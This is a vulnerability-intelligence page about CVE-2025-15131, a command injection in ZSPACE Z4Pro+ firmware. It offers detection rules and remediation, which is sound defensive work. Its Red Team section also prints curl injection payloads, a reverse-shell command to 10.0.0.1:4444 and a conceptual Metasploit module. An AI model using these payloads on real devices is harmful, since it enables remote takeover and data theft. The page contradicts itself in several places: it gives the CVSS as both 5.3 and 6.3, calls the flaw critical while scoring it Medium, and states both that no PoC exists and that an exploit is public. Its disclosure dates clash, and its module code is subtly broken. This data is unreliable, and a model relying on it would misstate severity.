☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15131

CVE-2025-15131 Command Injection in Zspace
📅 PUBLISHED: 2025-12-28 10:02 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.75%
👁️
7.75% probability
193.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15131 is a critical command injection vulnerability discovered in the ZSPACE Z4Pro+ device running firmware version 1.0.0440024. The flaw resides in the HTTP POST request handler for the endpoint /v2/file/safe/status, specifically within the zfilev2_api_SafeStatus function. An unauthenticated remote attacker can inject arbitrary operating system commands by manipulating input parameters, leading to full device compromise. The exploit has been publicly disclosed, and no official patch is currently available. This vulnerability poses a significant risk to enterprise environments using ZSPACE devices for collaborative or educational purposes.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in a proprietary hardware device.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component remains isolated.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Some data modification possible.
  • Availability Impact: Low (A:L) – Partial service disruption possible.

Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the ZSPACE Z4Pro+ firmware. The endpoint /v2/file/safe/status is designed to check the safety status of files. The zfilev2_api_SafeStatus function likely passes user-supplied input (e.g., file paths or names) directly to a system shell command without proper sanitization or escaping.

Root Cause: The application fails to validate or sanitize input before concatenating it into a command string executed by the operating system. For example, a request like:

POST /v2/file/safe/status HTTP/1.1
Content-Type: application/json

{"file": ";id"}

Would result in the shell executing something akin to:

check_safe_status ;id

The semicolon (;) terminates the intended command and allows arbitrary command execution.

Attack Flow:

  1. Attacker sends a crafted POST request to the vulnerable endpoint.
  2. The injected command is executed with the privileges of the web server (often root or a high-privilege user).
  3. Attacker can then execute arbitrary commands, exfiltrate data, install backdoors, or pivot to other network segments.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern.

Vulnerable Code (Conceptual):

import subprocess
import json

def zfilev2_api_SafeStatus(request):
    data = json.loads(request.body)
    file_path = data.get("file")
    # VULNERABLE: Direct concatenation into shell command
    cmd = "check_safe_status " + file_path
    result = subprocess.check_output(cmd, shell=True)
    return result

Patched Code (Conceptual):

import subprocess
import json
import shlex

def zfilev2_api_SafeStatus(request):
    data = json.loads(request.body)
    file_path = data.get("file")
    # PATCHED: Use shlex.quote to escape shell metacharacters
    safe_path = shlex.quote(file_path)
    cmd = "check_safe_status " + safe_path
    result = subprocess.check_output(cmd, shell=True)
    return result

The patched version uses shlex.quote() to escape special characters, preventing injection. Alternatively, the application should avoid shell=True and use a list of arguments.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target: ZSPACE Z4Pro+ with firmware 1.0.0440024
  • Network access to the device's web interface (typically port 80 or 443)

Exploit Steps:

  1. Identify the target IP address.
  2. Send a crafted POST request to /v2/file/safe/status with a command injection payload.

Example Exploit (using curl):

curl -X POST http://<target_ip>/v2/file/safe/status \
  -H "Content-Type: application/json" \
  -d '{"file": ";id"}'

Advanced Payload (Reverse Shell):

curl -X POST http://<target_ip>/v2/file/safe/status \
  -H "Content-Type: application/json" \
  -d '{"file": ";bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}'

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'ZSPACE Z4Pro+ Command Injection',
      'Description' => 'Exploits command injection in /v2/file/safe/status',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-15131']],
      'DisclosureDate' => '2025-03-01',
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    payload = ";#{payload.encoded}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/v2/file/safe/status',
      'ctype' => 'application/json',
      'data' => "{\"file\":\"#{payload}\"}"
    })
  end
end

Blue Team

Detection & Response:

  1. Monitor HTTP POST requests to /v2/file/safe/status for unusual payloads.
  2. Look for shell metacharacters (;, |, &, $, `) in JSON fields.
  3. Alert on outbound connections from the ZSPACE device to unknown IPs (potential reverse shell).
  4. Isolate the device on a separate VLAN if possible.

Honeypot Setup: Deploy a fake ZSPACE endpoint that logs all POST requests to /v2/file/safe/status for threat intelligence gathering.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /v2/file/safe/status with JSON body containing shell metacharacters.
  • Outbound connections from the ZSPACE device to unusual IPs/ports (e.g., 4444/tcp).
  • DNS queries to suspicious domains from the device.

File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
  • Modified system binaries (e.g., /bin/sh replaced).
  • New cron jobs or systemd services.

Process IOCs:

  • Unusual processes running as root (e.g., bash, nc, python).
  • Processes with network connections to external IPs.

Log IOCs:

  • Web server logs showing ;id or similar patterns in POST data.
  • System logs (/var/log/syslog) showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_15131_Command_Injection {
    meta:
        description = "Detects command injection attempts against ZSPACE Z4Pro+"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-15131"
    strings:
        $json_payload = /{"file"\s*:\s*"[^"]*[;&|`$()][^"]*"}/
        $shell_meta = /[;&|`$()]/
    condition:
        $json_payload or ($shell_meta and #json_payload > 0)
}

Sigma Rule

title: CVE-2025-15131 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /v2/file/safe/status with command injection payloads
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v2/file/safe/status'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in file names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15131 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v2/file/safe/status"; http_uri; content:"{"; http_client_body; pcre:"/\\x22file\\x22\\s*:\\s*\\x22[^\\x22]*[;&|`$()][^\\x22]*\\x22/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place ZSPACE Z4Pro+ units on a separate VLAN with strict firewall rules.
  2. Disable the endpoint: If possible, block access to /v2/file/safe/status via web server configuration or reverse proxy.
  3. Monitor logs: Enable detailed logging for all HTTP requests and system commands.

Long-Term Fixes:

  1. Vendor Patch: Await an official firmware update from ZSPACE. Contact vendor support for ETA.
  2. Input Validation: Implement strict input validation and sanitization for all user-supplied data.
  3. Command Execution: Replace shell execution with safer APIs (e.g., subprocess.run with list arguments).
  4. Web Application Firewall (WAF): Deploy a WAF rule to block command injection patterns.

Workaround: If patching is not possible, consider replacing the device or implementing a custom proxy that sanitizes requests to the vulnerable endpoint.


Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15131/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.